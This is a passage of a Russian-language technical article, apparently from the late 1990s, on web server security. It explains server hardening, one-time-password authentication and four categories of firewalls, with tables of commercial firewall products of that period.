Проблемы создает не только сам стек TCP/IP - большинство угрожающих безопасности "дыр" возникают из-за ошибок в конфигурации сервера, его программном обеспечении или из-за ошибок служб Интернет, а также в связи с несвоевременной установкой "заплат" (patch) - программных кодов для исправления этих ошибок. Чтобы "облегчить" жизнь взломщикам, имеется целый ряд свободно распространяемых "исследовательских средств", например пакеты SATAN, написанные Дэном Фармером и Виетсом Венемой, и Internet Scanner фирмы Internet Security Systems. Эти средства позволяют определить слабые места узла Интернет, указывая тем самым возможные "плацдармы" для атаки. Кроме этого, существуют специальные средства для проверки конфигурации системы, огромное количество списков рассылки, групп новостей Usenet и Web-узлов, которые буквально "трубят" по всему миру об обнаружении все новых и новых слабых мест. Словом, любого Web-мастера или системного администратора, считающего, что проблемами защиты можно заниматься в свободное от более важных дел время, вряд ли ожидает удача.

План действий

Текущая оценка всех известных случаев взлома показывает, что от 70 до 80% их происходит изнутри. Это связано с недостаточным вниманием системных администраторов к защите паролей, размещением технических средств в местах, доступных посторонним, а также с некорректной конфигурацией системного и прикладного ПО и слабым контролем за правами доступа. Поэтому Web-узлы многих компаний вполне "созрели" для взлома. В этом случае единственным необходимым условием взлома становится мотив. Децентрализация и большая текучесть кадров, недостаточная организация охраны рабочих мест и обещания вознаграждений за украденную внутреннюю информацию компании приводят к тому, что фирмы становятся жертвами взлома изнутри.

Для защиты от внутренних и внешних атак можно предложить следующий план действий. Во-первых, выработайте четкую линию поведения в отношении использования Интернет, для этого сформулируйте степени риска и преимущества, которые дает вам доступ в эту глобальную сеть. Во-вторых, старайтесь минимизировать возможные риски и предоставьте пользователям только те услуги, которые вы действительно должны обеспечить. Например, не следует совмещать Web-сервер с более уязвимым FTP-сервером. Разрешайте анонимный доступ к услугам FTP и Telnet только в случае крайней необходимости. Предлагая услуги FTP, старайтесь по мере возможности использовать гиперссылки. Если вы все же должны обеспечить передачу по протоколу FTP, то для этого рекомендую более новое и надежное средство - PASV FTP. Вы можете исключить возможность взлома в ходе сеанса удаленного доступа, разрешив использование FTP только с системной консоли.

И наконец, самое главное: потребуйте от ваших пользователей никогда не давать паролей или другой конфиденциальной информации по телефону и научите их в случае необходимости защищаться от "социальной инженерии" - навязчивых звонков с предложениями помочь в поддержке сети или разобраться с сетевыми проблемами. Звонящий обманом узнает у пользователя его имя и пароль, а затем регистрируется в системе под этим именем. Получив таким образом доступ, взломщик выясняет права, присвоенные различным группам пользователей, и использует уязвимые места ОС с целью получить права администратора системы. Кевин Митник, самый известный американский хакер, был большим мастером по части такой "социальной инженерии", которая делает бесполезными все существующие firewall-системы и средства защиты серверов.

При работе в сети следует всегда поступать так, как это делают жители Нью-Йорка, - не доверять никому: ни системному администратору, ни старшему менеджеру, ни технологу, ни консультанту по защите, ни пользователю. Тщательно закрывайте "дыры" в защите, ограничивая права пользователей, групп, права доступа к каталогам и файлам. Разрешайте использовать только минимум ресурсов c одноразовыми паролями, обеспечивайте надежную аутентификацию и отвергайте любой "доверенный" (trusted) доступ к вашим серверам Интернет.

Защита сервера

После того как вы окончательно выбрали и установили Web-сервер, необходимо настроить его систему безопасности. Конкретные детали процесса конфигурирования Web-сервера в значительной мере зависят от базовой платформы и применяемого сетевого программного обеспечения. Рекомендация для начинающих: чем меньше вы используете сетевых приложений и типов сервиса, тем меньше сделаете ошибок. На Web-сервере следует оставить урезанный вариант операционной системы, который обеспечит только многозадачность.

Поскольку в этом случае нет необходимости в распределенных файловых системах или сеансах удаленного доступа, не стоит устанавливать NFS (Network File System), NIS (Network Information Service), RPC (Remote Procedure Call) или команды R-группы в OC Unix. В операционной системе Windows NT не надо использовать функции RAS (Remote Access Server) на ваших серверах Интернет. При работе в MacOS не разрешайте применять протокол AppleTalk для связи с вашим Web-сервером.

При общении вашего сервера с другими серверами часто используется так называемый "доверенный" Web-сервер (web of trust). Однако недостаток такого доверенного сервера состоит в том, что при его "взломе" и ваш сервер также окажется уязвимым для взломщика, обычно уже имеющего права доступа администратора системы.

Чтобы защититься от этого, нужно удалить в OC Unix файл .rhosts, содержащий список доверенных серверов. В Windows NT Server будьте внимательны при установке доменов. В MacOS не держите на Рабочем столе папку (folder) вашего Web-сервера, а поместите ее в другую папку (subfolder). Все процедуры по поддержке и модернизации программного обеспечения Web-сервера следует осуществлять с системной консоли, а не посредством удаленного доступа. И наконец, никогда не запускайте свой Web-сервер в привилегированном режиме, т. е. с правами доступа администратора системы. Если взломщику удастся найти "дыру" в системе защиты вашего Web-сервера, он получит к нему полный доступ. Всегда запускайте ваш Web-сервер или с правами доступа "nobody", или с правами непривилегированного пользователя.

С точки зрения безопасности наибольший риск исходит не от операционной системы самого Web-сервера, а от средств сетевой операционной системы. В ОС Unix главная проблема состоит в том, что в действительности это не одна операционная система, а две в одной. Во-первых, Unix является мощной многопользовательской и многозадачной операционной системой. Во-вторых, это мощная сетевая операционная система с функциями поддержки распределенной файловой системы, удаленного доступа и многими другими, какие только могут потребоваться вам в клиент-серверной среде, такой, как Интернет. Та же проблема актуальна и для Windows NT, хотя и в меньшей степени. Причина, по которой MacOS оказалась для Web-сервера самой безопасной операционной системой, заключается в том, что она не является сетевой. Поэтому очевидно: то, чего нет, атаковать невозможно. Чтобы в системах Unix и Windows NT уменьшить количество потенциальных точек входа, нужно отказаться от использования возможностей сетевой ОС.

Firewall-системы

Если Web-сервер уже надежно защищен и работает под управлением хорошо защищенной операционной системы, нужно обеспечить безопасность внутренней сети. Это можно сделать с помощью системы firewall. Она создает в вашей внутренней сети контролируемую точку, через которую проходит весь обмен с Интернет. В типичной архитектуре firewall-системы имеются средства фильтрации пакетов, модули-посредники (proxy), средства для аутентификации, сдвоенная служба доменных имен DNS и набор средств для осуществления мониторинга. Архитектура и уровень сложности вашей firewall-системы зависят от выбранной вами политики безопасности в Интернет, т. е. от допустимого риска, произведенных расходов и требуемой степени защиты.

Для приходящего из внешней сети трафика необходим фильтр, чтобы проверять заголовки каждого передаваемого пакета и задерживать все подозрительные. Если заголовок пакета благополучно прошел проверку, то пакет будет направлен к соответствующему серверу-посреднику (proxy server) для последующей проверки на прикладном уровне. Сервер-посредник анализирует пакет с точки зрения безопасности и решает, отвергнуть его или передать пользователю. В средних и больших компаниях фильтрация пакетов осуществляется одним или несколькими маршрутизаторами. В небольших компаниях или в компаниях с ограниченным бюджетом для этого можно использовать либо Network Address Translator (NAT), либо программное обеспечение для фильтрации пакетов, устанавливаемое на сервере.

Имеется целый ряд серверов-посредников. Наибольшее распространение получили модули-посредники прикладного уровня, поддерживающие один вид сервиса, например HTTP, и допускающие выполнение только безопасных действий. Наиболее подходящая альтернатива серверу-посреднику - механизм SOCKS. Он мало отличается от интеллектуального фильтра и не поддерживает специфические команды прикладного уровня.

Из имеющихся на сегодня примерно 20 различных служб Интернет устанавливайте только наиболее существенные: HTTP для поддержки Web, FTP для передачи файлов, NNTP для Usenet, SMTP для электронной почты. Служба Telnet слишком опасна и вовсе не является необходимой для большинства компаний. Если все-таки вы намерены использовать эту услугу, предоставьте ее только группе избранных пользователей.

Также будьте осторожны с Sendmail - программным обеспечением SMTP-сервера для Unix, которое из-за имеющихся в нем "дыр" пользуется дурной славой. Оно содержит 20 тыс. строк многократно исправленного и широко распространенного исходного текста. Sendmail имеет больше нареканий со стороны группы CERT (Computer Emergency Response Team), чем любые другие протоколы или услуги Интернет. Поскольку фирма Trusted Information Systems предлагает всем желающим вполне добротное и бесплатное программное обеспечение на основе протокола SMTP с поддержкой функций proxy, содержащее всего 600 строк хорошо документированного исходного текста, то дальнейшее использование ПО Sendmail неоправданно.

Одно из достаточно редко используемых средств firewall-систем - мониторинг событий. Как известно, у каждого сервера есть файл регистрации событий. Но кто же имеет столько времени, чтобы сидеть весь день и анализировать его? Именно для этого разработан целый ряд средств мониторинга, с помощью которых можно сформулировать правила отслеживания событий и отреагировать на них, если что-то пойдет не так. Например, Watcher - бесплатное инструментальное средство из архива COAST. Его используют для установки сигнала тревоги, уведомляющего об "атаке" или каком-либо другом подозрительном событии. В архиве COAST также содержится целый ряд других средств защиты.

Аутентификация

Не стоит придумывать сложные для разгадывания пароли, пересылающиеся затем по сети на сервер. Есть решение проблемы создания надежной аутентификации в три приема. Во-первых, предоставьте права доступа к Web-серверу только системному администратору и, возможно, нескольким пользователям, которые должны будут обновлять файлы. Во-вторых, разрешите осуществлять входную регистрацию только с системной консоли. Это избавит вас от беспокойства, что кто-нибудь узнает пароль во время его передачи по сети. И наконец, в-третьих, используйте системы с одноразовыми паролями, например S/Key фирмы BellCore. Еще лучше для генерации одноразовых паролей воспользоваться специальными картами, такими, как SecurID фирмы Security Dynamics.

Однако надо иметь в виду, что в бесплатной версии S/Key применен хэш-алгоритм MD4, который, как известно, можно взломать. Не так давно найдено еще одно уязвимое место этой системы. Было доказано, что хэш-алгоритм MD5, используемый в коммерческой версии S/Key, теоретически также взламывается. Разумеется, это не означает, что его уже взломали, однако такое в принципе возможно. Даже система аутентификации Kerberos в прошлом году была взломана с помощью техники, ранее уже применявшейся для взлома первой реализации Secure Sockets Layer фирмы Netscape. Отсюда напрашивается очевидный вывод: ничто не может быть безопасным во веки веков, поэтому вы должны быть постоянно в курсе всего, что касается появления новых уязвимых мест.

Брандмауэры как основа системы информационной безопасности

Брандмауэр, как программно-аппаратный комплекс является пожалуй самым мощным оружием в борьбе с информационными угрозами и сетевыми атаками, поэтому рассмотрим отдельно и достаточно подробно что же такое брандмауэр. Однако не стоит забывать, что разработка политики безопасности, как комплексного подхода к информационной безопасности, не исчерпывается приобретением и установкой брандмауэра.

Вне компьютерной отрасли брандмауэром (firewall) называется стена, сделанная из негорючих материалов и препятствующая распространению пожара. В сфере компьютерных сетей брандмауэр представляет собой барьер, защищающий от фигурального пожара - попыток злоумышленников вторгнуться в сеть, для того чтобы скопировать, изменить или стереть информацию либо чтобы воспользоваться полосой пропускания, памятью или вычислительной мощностью работающих в этой сети компьютеров. Брандмауэр устанавливается на границе защищаемой сети и фильтрует все входящие и исходящие данные, пропуская только авторизованные пакеты.

Брандмауэр является набором компонентов, настроенных таким образом, чтобы реализовать определенную политику контроля внешнего доступа к вашей сети. Обычно брандмауэры защищают внутреннюю сеть компании от "вторжений" из Internet, однако они могут использоваться и для защиты от "нападений", например, из корпоративной интрасети, к которой подключена и ваша сеть. Как и в случае реализации любого другого механизма сетевой защиты, организация, вырабатывающая конкретную политику безопасности, кроме всего прочего, должна определить тип трафика TCP/IP, который будет восприниматься брандмауэром как "авторизованный". Например, необходимо решить, будет ли ограничен доступ пользователей к определенным службам на базе TCP/IP, и если будет, то до какой степени. Выработка политики безопасности поможет понять, какие компоненты брандмауэра вам необходимы и как их сконфигурировать, чтобы обеспечить те ограничения доступа, которые вы задали.

Работа всех брандмауэров основана на использовании информации разных уровней модели OSI (таблица 1). Модель OSI, разработанная Международной организацией по стандартизации (International Standards Organization - ISO), определяет семь уровней, на которых компьютерные системы взаимодействуют друг с другом, - начиная с уровня физической среды передачи данных и заканчивая уровнем прикладных программ, используемых для коммуникаций. В общем случае, чем выше уровень модели OSI, на котором брандмауэр фильтрует пакеты, тем выше и обеспечиваемый им уровень защиты. Таблица 1.
Брандмауэры и модели OSI.
Уровень модели OSI
Протоколы Internet
Категория брандмауэра
Прикладной
Telnet, FTP, DNS, NFS, PING, SMTP, HTTP
Шлюз прикладного уровня, брандмауэр экспертного уровня
Представления данных
Сеансовый
TCP
Шлюз сеансового уровня
Транспортный
TCP
Сетевой
IP
Брандмауэр с фильтрацией пакетов
Канальный
Физический

Существующие брандмауэры сильно отличаются друг от друга как по уровню защиты, так и по используемым в них способах защиты. Однако большинство брандмауэров, поставляемых как коммерческие продукты, можно (впрочем, достаточно условно) отнести к одной из четырех категорий:

- брандмауэры с фильтрацией пакетов (packet-filtering firewall);
- шлюзы сеансового уровня (circuit-level gateway);
- шлюзы прикладного уровня (application-level gateway);
- брандмауэры экспертного уровня (stateful inspection firewall).

Лишь немногие брандмауэры относятся только к одной из перечисленных категорий, еще меньше - в точности соответствует тем определениям, которые будут даны ниже для каждой из категорий. Тем не менее эти определения отражают ключевые возможности, отличающие один вид брандмауэров от другого.

Брандмауэры с фильтрацией пакетов

Брандмауэр с фильтрацией пакетов представляет собой маршрутизатор или работающую на сервере программу, сконфигурированные таким образом, чтобы фильтровать входящие и исходящие пакеты. Брандмауэр пропускает или отбраковывает пакеты в соответствии с информацией, содержащейся в IP-заголовках пакетов. Например, большинство брандмауэров с фильтрацией пакетов может пропускать или отбраковывать пакеты на основе информации, позволяющей ассоциировать данный пакет с конкретными отправителем и получателем (полной ассоциации), которая состоит из следующих элементов:

- адреса отправителя;
- адреса получателя;
- информации о приложении или протоколе;
- номера порта источника;
- номера порта получателя.

Все маршрутизаторы (даже те, которые не сконфигурированы для фильтрации пакетов), обычно проверяют полную ассоциацию пакета, чтобы определить, куда его нужно направить. Брандмауэр с фильтрацией пакетов, кроме того, перед отправкой пакета получателю сравнивает его полную ассоциацию с таблицей правил, в соответствии с которыми он должен пропустить или отбраковать данный пакет.

Брандмауэр продолжает проверку до тех пор, пока не найдет правила, с которым согласуется полная ассоциация пакета. Если брандмауэр получил пакет, не соответствующий ни одному из табличных правил, он применяет правило, заданное по умолчанию, которое также должно быть четко определено в таблице брандмауэра. Из соображений безопасности это правило обычно указывает на необходимость отбраковки всех пакетов, не удовлетворяющих ни одному из других правил.

Настройка правил

Вы можете задать правила фильтрации пакетов, которые будут "указывать" брандмауэру, какие пакеты должны быть пропущены, а какие отбракованы. Например, можно определить правила таким образом, чтобы брандмауэр отбраковывал пакеты, поступающие от внешних серверов (их обычно называют Internet-хостами), IP-адреса которых указаны в таблице. Можно также задать правило, в соответствии с которым будет разрешено пропускать только входящие сообщения электронной почты, адресованные почтовому серверу, или правило блокировки всех почтовых сообщений, поступающих от внешнего хоста, который когда-то "наводнил" вашу сеть гигабайтами ненужных данных.

Кроме того, можно сконфигурировать брандмауэр для фильтрации пакетов на основе номеров портов, задаваемых в заголовках пакетов TCP и UDP (User Datagram Protocol). В этом случае можно будет пропускать отдельные виды пакетов (например, Telnet или FTP), только если они направляются к определенным серверам (соответственно к Telnet или FTP). Однако успешное выполнение подобного правила зависит от того, какие соглашения приняты в вашей сети, функционирующей на основе TCP/IP: для работы приложений TCP/IP серверы и клиенты обычно используют конкретные порты (которые часто называют известными, т.е. заранее определенными), однако это не является обязательным условием.

Например, приложение Telnet на серверах сети с TCP/IP обычно работает через порт 23. Чтобы разрешить сеансы Telnet только с определенным сервером, необходимо задать правила, одно из которых "заставит" брандмауэр пропускать все пакеты, запрашивающие порт 23 по адресу 123.45.6.7 (IP-адрес вашего сервера Telnet), а другое - отбраковывать входящие пакеты, запрашивающие этот порт по другим адресам.

Конечно, реальные правила создавать намного сложнее, чем описано выше. Более сложные примеры можно найти, например, в правилах конфигурирования маршрутизаторов компании Cisco, которые доступны через Internet.

Низкая стоимость и слабая защита?

Главное преимущество использования брандмауэров с фильтрацией пакетов состоит в невысокой стоимости их реализации и минимальном влиянии на производительность сети. Если в вашей сети уже установлен аппаратный или программный IP-маршрутизатор, обеспечивающий возможность фильтрации пакетов (например, производства Cisco Systems, Bay Networks или Novell), настройка брандмауэра обойдется вам даром (не считая времени, которое придется потратить на создание правил фильтрации пакетов).

Несмотря на привлекательность таких брандмауэров с точки зрения минимизации затрат, они, как правило, не могут обеспечить адекватную защиту от хакеров, "испытывающих интерес" к вашей сети. Правильная настройка правил фильтрации пакетов может оказаться достаточно сложной процедурой, однако даже если вам удастся создать достаточно эффективные правила, их возможности все равно останутся ограниченными.

Например, вы создадите правило, в соответствии с которым брандмауэр будет отбраковывать все пакеты с неизвестным адресом отправителя. Однако хакер может просто использовать в качестве адреса отправителя в своем "зловредном" пакете реальный адрес доверенного (авторизованного) клиента. В этом случае брандмауэр не сумеет отличить поддельный пакет от настоящего и пропустит его, "предполагая", что остальная информация в полной ассоциации пакета также соответствует разрешающему правилу. Практика показывает, что подобный вид нападений, называемый "address-spoofing" (подмена адреса), довольно широко распространен в Internet и, к сожалению, очень часто оказывается эффективным.

Поскольку брандмауэр с фильтрацией пакетов работает только на сетевом уровне модели взаимодействия открытых систем (Open Systems Interconnection - OSI) обычно проверяет только информацию, содержащуюся в IP-заголовках пакетов, то "обмануть" его не составляет труда: хакер просто создает заголовок, который удовлетворяет разрешающим правилам брандмауэра. Кроме заголовка пакета, никакая другая содержащаяся в нем информация брандмауэрами данной категории не проверяется.

Шлюзы сеансового уровня

Шлюз сеансового уровня следит за подтверждением (квитированием) связи между авторизованным клиентом и внешним хостом (и наоборот), определяя, является ли запрашиваемый сеанс связи допустимым. При фильтрации пакетов шлюз сеансового уровня основывается на информации, содержащейся в заголовках пакетов сеансового уровня протокола TCP, т. е. функционирует на два уровня выше, чем брандмауэр с фильтрацией пакетов.

Контроль квитирования связи

Чтобы определить, является ли запрос на сеанс связи допустимым, шлюз сеансового уровня выполняет примерно следующую процедуру. Когда авторизованный клиент запрашивает некоторую услугу, шлюз принимает этот запрос, проверяя, удовлетворяет ли клиент базовым критериям фильтрации (например, может ли DNS-сервер определить IP-адрес клиента и ассоциированное с ним имя). Затем, действуя от имени клиента, шлюз устанавливает соединение с внешним хостом и следит за выполнением процедуры квитирования связи по протоколу TCP. Эта процедура состоит из обмена TCP-пакетами, которые помечаются флагами SYN (синхронизировать) и ACK (подтвердить).

Первый пакет сеанса TCP, помеченный флагом SYN и содержащий произвольное число, например 1000, является запросом клиента на открытие сеанса. Внешний хост, получивший этот пакет, посылает в ответ пакет, помеченный флагом ACK и содержащий число, на единицу большее, чем в принятом пакете (в нашем случае 1001), подтверждая, таким образом, прием пакета SYN от клиента. После этого осуществляется обратная процедура: хост посылает клиенту пакет SYN с исходным числом (например, 2000), а клиент подтверждает его получение передачей пакета ACK, содержащего число 2001. На этом процесс квитирования связи завершается.

Шлюз сеансового уровня "считает" запрошенный сеанс допустимым только в том случае, если при выполнении процедуры квитирования связи флаги SYN и ACK, а также числа, содержащиеся в TCP-пакетах, оказываются логически связанными между собой.

Канальные посредники

После того как шлюз "определил", что доверенный клиент и внешний шлюз являются авторизованными участниками сеанса TCP, и проверил допустимость данного сеанса, он устанавливает соединение. Начиная с этого момента шлюз просто копирует и перенаправляет пакеты туда и обратно, не проводя никакой фильтрации. Он поддерживает таблицу установленных соединений, пропуская данные, относящиеся к одному из сеансов связи, которые зафиксированы в этой таблице. Когда сеанс завершается, шлюз удаляет соответствующий элемент из таблицы и разрывает цепь, использовавшуюся в данном сеансе.

Для копирования и перенаправления пакетов в шлюзах сеансового уровня используются специальные приложения, которые иногда называют канальными посредниками (pipe proxies), поскольку они устанавливают между двумя сетями виртуальную цепь, или канал, а затем разрешают пакетам (которые генерируются приложениями TCP/IP) проходить по этому каналу.

Канальные посредники поддерживают несколько служб TCP/IP, поэтому шлюзы сеансового уровня могут использоваться для расширения возможностей шлюзов прикладного уровня, работа которых основывается на программах-посредниках конкретных приложений. В действительности большинство шлюзов сеансового уровня не являются самостоятельными продуктами, а поставляются в комплекте со шлюзами прикладного уровня. Примерами таких шлюзов являются Gauntlet Internet Firewall компании Trusted Information Systems, AltaVista Firewall компании DEC и ANS Interlock компании ANS (таблица 2).

Таблица 2.
Некоторые популярные брандмауэры.
Компания
Продукт
Тип брандмауэра
ANS, Inc
ANS InterLock
Шлюз прикладного уровня*
Check Point Software Technologies, Ltd.
FireWall-1
Брандмауэр экспертного уровня
CyberGuard Corporation
CyberGuard Firewall
Шлюз прикладного уровня
Digital Equipment Corporation (DEC)
AltaVista Firewall
Шлюз прикладного уровня
Global Internet
Centri Firewall
Шлюз прикладного уровня
Milkyway Networks Corporation
Black Hole
Шлюз прикладного уровня
NEC Technologies, Inc.
PrivateNet
Шлюз прикладного уровня
ON Technology
ON Guard
Брандмауэр экспертного уровня
Raptor Systems, Inc.
Eagle
Шлюз прикладного уровня
Secure Computing Corporation
BorderWare Firewall Server, Sidewinder Security Server
Шлюз прикладного уровня
Trusted Information Systems, Inc.
Gauntlet Internet Firewall
Шлюз прикладного уровня

* Здесь и далее все указанные шлюзы прикладного уровня обеспечивают поддержку шлюзов сеансового уровня для отдельных служб TCP/IP, не защищаемых программами-посредниками приложений.

Например, AltaVista Firewall использует канальные посредники прикладного уровня для каждой из шести служб TCP/IP, к которым относятся, например, FTP, HTTP (HyperText Transport Protocol) и Telnet. Кроме того, брандмауэр компании DEC обеспечивает шлюз сеансового уровня, поддерживающий другие общедоступные службы TCP/IP, такие как Gopher и SMTP (Simple Mail Transfer Protocol), для которых брандмауэр не предоставляет посредников прикладного уровня.

Серверы-посредники

Шлюз сеансового уровня выполняет еще одну важную функцию защиты: он используется в качестве сервера-посредника (proxy server). И хотя этот термин предполагает наличие сервера, на котором работают программы-посредники (что справедливо для шлюза сеансового уровня), в данном случае он означает несколько другое. Сервером-посредником может быть брандмауэр, использующий процедуру трансляции адресов (address translation), при которой происходит преобразование внутренних IP-адресов в один "надежный" IP-адрес. Этот адрес ассоциируется с брандмауэром, из которого передаются все исходящие пакеты.

В результате в сети со шлюзом сеансового уровня все исходящие пакеты оказываются отправленными из этого шлюза, что исключает прямой контакт между внутренней (авторизованной) сетью и являющейся потенциально опасной внешней сетью. IP-адрес шлюза сеансового уровня становится единственным активным IP-адресом, который попадает во внешнюю сеть. Таким образом, шлюз сеансового уровня и другие серверы-посредники защищают внутренние сети от нападений типа spoofing (имитация адресов), о которых было рассказано выше.

Обходные маневры

Шлюзы сеансового уровня не имеют "врожденных" уязвимых мест, однако после установления связи такие шлюзы фильтруют пакеты только на сеансовом уровне модели OSI, т. е. не могут проверять содержимое пакетов, передаваемых между внутренней и внешней сетью на уровне прикладных программ. И поскольку осуществляется эта передача "вслепую", хакер, находящийся во внешней сети, может "протащить" свои "зловредные" пакеты через шлюз. После этого хакер обратится напрямую к внутреннему Web-серверу, который сам по себе может не обеспечивать функции брандмауэра.

Иными словами, если процедура квитирования связи успешно завершена, шлюз сеансового уровня установит соединение и будет "тупо" копировать и перенаправлять все последующие пакеты независимо от их содержимого. Чтобы фильтровать пакеты, генерируемые определенными сетевыми службами в соответствии с их содержимым, необходим шлюз прикладного уровня.

Шлюзы прикладного уровня

Так же как и шлюз сеансового уровня, шлюз прикладного уровня перехватывает входящие и исходящие пакеты, использует программы-посредники, которые копируют и перенаправляют информацию через шлюз, а также функционирует в качестве сервера-посредника, исключая прямые соединения между доверенным сервером или клиентом и внешним хостом. Однако посредники, используемые шлюзом прикладного уровня, имеют важные отличия от канальных посредников шлюзов сеансового уровня: во-первых, они связаны с приложениями, а во-вторых, могут фильтровать пакеты на прикладном уровне модели OSI.

Посредники приложений

В отличие от канальных посредников, посредники прикладного уровня пропускают только пакеты, сгенерированные теми приложениями, которые им поручено обслуживать. Например, программа-посредник службы Telnet может копировать, перенаправлять и фильтровать лишь трафик, генерируемый этой службой. Если в сети работает только шлюз прикладного уровня, то входящие и исходящие пакеты могут передаваться лишь для тех служб, для которых имеются соответствующие посредники. Так, если шлюз прикладного уровня использует только программы-посредники FTP и Telnet, то он будет пропускать пакеты этих служб, блокируя при этом пакеты всех остальных служб.

Фильтрация на прикладном уровне

В отличие от шлюзов сеансового уровня, которые копируют и "слепо" перенаправляют все поступающие пакеты, посредники прикладного уровня (самого высокого в модели OSI) проверяют содержимое каждого проходящего через шлюз пакета. Эти посредники могут фильтровать отдельные виды команд или информации в протоколах прикладного уровня, которые им поручено обслуживать. Такие продукты, как Eagle компании Raptor Systems, ANS InterLock компании ANS и Sidewinder Security Server компании Secure Computing Corporation, включают в себя программы-посредники прикладного уровня для служб FTP, HTTP и Telnet. Утилиты этих шлюзов позволяют фильтровать определенные команды, используемые этими службами. Например, можно сконфигурировать шлюз таким образом, чтобы он предотвращал использование клиентами команды FTP Put, которая дает возможность пользователю, подключенному к FTP-серверу, записывать на него информацию. Многие сетевые администраторы предпочитают запретить использование этой команды, чтобы уменьшить риск случайного повреждения хранящейся на FTP-сервере информации и вероятность заполнения его гигабайтами хакерских данных, пересылаемых на сервер для заполнения его дисковой памяти и блокирования работы.

Другие защитные функции

В дополнение к фильтрации пакетов многие шлюзы прикладного уровня регистрируют все выполняемые сервером действия и, что наиболее важно,предупреждают сетевого администратора о возможных нарушениях защиты. Например, при попытках проникновения в систему извне BorderWare Firewall Server компании Secure Computing позволяет фиксировать адреса отправителя и получателя пакетов, время, в которое эти попытки были предприняты, и используемый протокол. Продукт Black Hole компании Milkyway Networks также регистрирует все действия сервера и предупреждает администратора о возможных нарушениях, посылая ему сообщение по электронной почте или на пейджер. Аналогичные функции обеспечивают и продукты Eagle и Sidewinder Security Server.

Представители

Большинство шлюзов прикладного уровня предназначены для одной или нескольких разновидностей операционной системы UNIX. Ярким представителем этого большого семейства продуктов является Black Hole компании Milkyway Networks, который работает на компьютерах со SPARC-архитектурой под управлением SunOS или Solaris. В отличие от этих шлюзов, BorderWare Firewall Server компании Secure Computing и Gauntlet Internet Firewall компании Trusted Information Systems работают на ПК с процессором Pentium под управлением операционных систем, являющихся собственными разработками соответствующих компаний. Продукты Centri Firewall компании Global Internet и Eagle компании Raptor Systems работают под SunOS, Solaris и Windows NT.

Указанные шлюзы прикладного уровня можно устанавливать и в сети NetWare, использующей протоколы TCP/IP. Для того чтобы начать использовать TCP/IP в сети, работающей по протоколу IPX, необходимо установить шлюз IPX/IP или установить стек TCP/IP каждому клиенту NetWare, который будет работать со шлюзом прикладного уровня (например, используя продукт LAN WorkPlace или LAN WorkGroup компании Novell).

Немного о "прозрачности"

Шлюзы прикладного уровня обеспечивают один из самых высоких на сегодняшний день уровней защиты, однако существует мнение, что такая высокая степень защиты имеет и оборотную сторону, а именно - отсутствие "прозрачности" работы шлюза для пользователей. В идеале все брандмауэры должны быть "прозрачными", т.е. их работа должна оставаться незаметной для пользователей, обращающихся из своей внутренней сети в Internet. Однако в реальной жизни брандмауэры вносят задержки в процесс передачи данных или требуют от пользователей выполнения нескольких процедур регистрации при подключении к Internet или корпоративной интрасети.

Многие поставщики утверждают, что их шлюзы прикладного уровня являются "прозрачными", однако рекомендуют конфигурировать их таким образом, чтобы они выполняли аутентификацию пользователей при их обращении к внешней сети (т.е. процедуру, которая нарушает "прозрачность" работы шлюза). Например, шлюз Black Hole компании Milkyway Networks можно сконфигурировать так, что пользователи будут выходить во внешнюю сеть, не регистрируясь на этом шлюзе. Однако Milkyway Networks рекомендует такую конфигурацию шлюза, при которой пользователи должны будут регистрироваться на нем либо один раз в течение установленного периода, либо при каждом запросе на установление сеанса связи. Аналогичным образом может быть настроен шлюз Gauntlet Internet Firewall компании Trusted Informa-tion Systems.

При работе шлюза в "непрозрачном" режиме пользователь подключается к посреднику соответствующей службы (например, Telnet) и сообщает ему имя хоста, к которому он собирается подключиться. После этого пользователь получает и отправляет информацию так, как если бы было установлено прямое соединение клиента с внешним хостом. В "прозрачном" же режиме подключение пользователя к удаленному хосту выполняется без предварительного взаимодействия со шлюзом, однако затем шлюз перехватывает все запросы пользователя.

Другие производители брандмауэров, относящихся к категории шлюзов прикладного уровня, пытаются решить проблему "прозрачности" иными способами. Например, компании CyberGuard и NEC Technologies используют вместо связанных с приложениями программ-посредников вариант протокола SOCKS для маршрутизации трафика, генерируемого службами TCP/IP, через свои шлюзы Cyber-Guard Firewall и PrivateNet соответственно. SOCKS является стандартом, предлагаемым инженерной группой IETF (Internet Engineering Task Force) и обеспечивающим "прозрачную" аутентификацию пользователей, которые запрашивают соединения с внешними хостами через брандмауэр. Однако использование SOCKS является "непрозрачным" для администраторов, которые должны модифицировать все приложения, используемые клиентами для доступа к внешним ресурсам через брандмауэр. Кроме того, хотя SOCKS и предполагает использование других механизмов защиты (например, шифрования с личным и открытым ключами), он не обеспечивает фильтрации отдельных пакетов. Поэтому продукты, использующие SOCKS, скорее можно отнести к категории шлюзов сеансового, а не прикладного уровня.

Брандмауэры экспертного уровня

Эти брандмауэры сочетают в себе элементы всех трех описанных выше категорий. Как и брандмауэры с фильтрацией пакетов, они работают на сетевом уровне модели OSI, фильтруя входящие и исходящие пакеты на основе проверки IP-адресов и номеров портов. Брандмауэры экспертного уровня также выполняют функции шлюза сеансового уровня, определяя, относятся ли пакеты к соответствующему сеансу. И наконец, брандмауэры экспертного уровня берут на себя функции шлюза прикладного уровня, оценивая содержимое каждого пакета в соответствии с политикой безопасности, выработанной в конкретной организации.

Лучшая производительность, лучшая защита?

Как и шлюз прикладного уровня, брандмауэр экспертного уровня может быть сконфигурирован для отбраковки пакетов, содержащих определенные команды, например команды Put и Get службы FTP. Однако, в отличие от шлюзов прикладного уровня, при анализе данных прикладного уровня такой брандмауэр не нарушает клиент-серверной модели взаимодействия в сети.

Шлюз прикладного уровня устанавливает два соединения: одно - между авторизованным клиентом и шлюзом, второе - между шлюзом и внешним хостом. После этого он просто пересылает информацию между этими двумя соединениями. Несмотря на высокий уровень защиты, обеспечиваемый подобными шлюзами, такая схема может сказаться на производительности работы. В противоположность этому брандмауэры экспертного уровня допускают прямые соединения между клиентами и внешними хостами. Для обеспечения защиты такие брандмауэры перехватывают и анализируют каждый пакет на прикладном уровне модели OSI. Вместо применения связанных с приложениями программ-посредников, брандмауэры экспертного уровня используют специальные алгоритмы распознавания и обработки данных на уровне приложений. С помощью этих алгоритмов пакеты сравниваются с известными шаблонами данных, что, теоретически, должно обеспечить более эффективную фильтрацию пакетов.

Поскольку брандмауэры экспертного уровня допускают прямое соединение между авторизованным клиентом и внешним хостом, некоторые утверждают, что брандмауэры этой категории обеспечивают менее высокий уровень защиты, чем шлюзы прикладного уровня. Другие же придерживаются противоположного мнения.

Представители

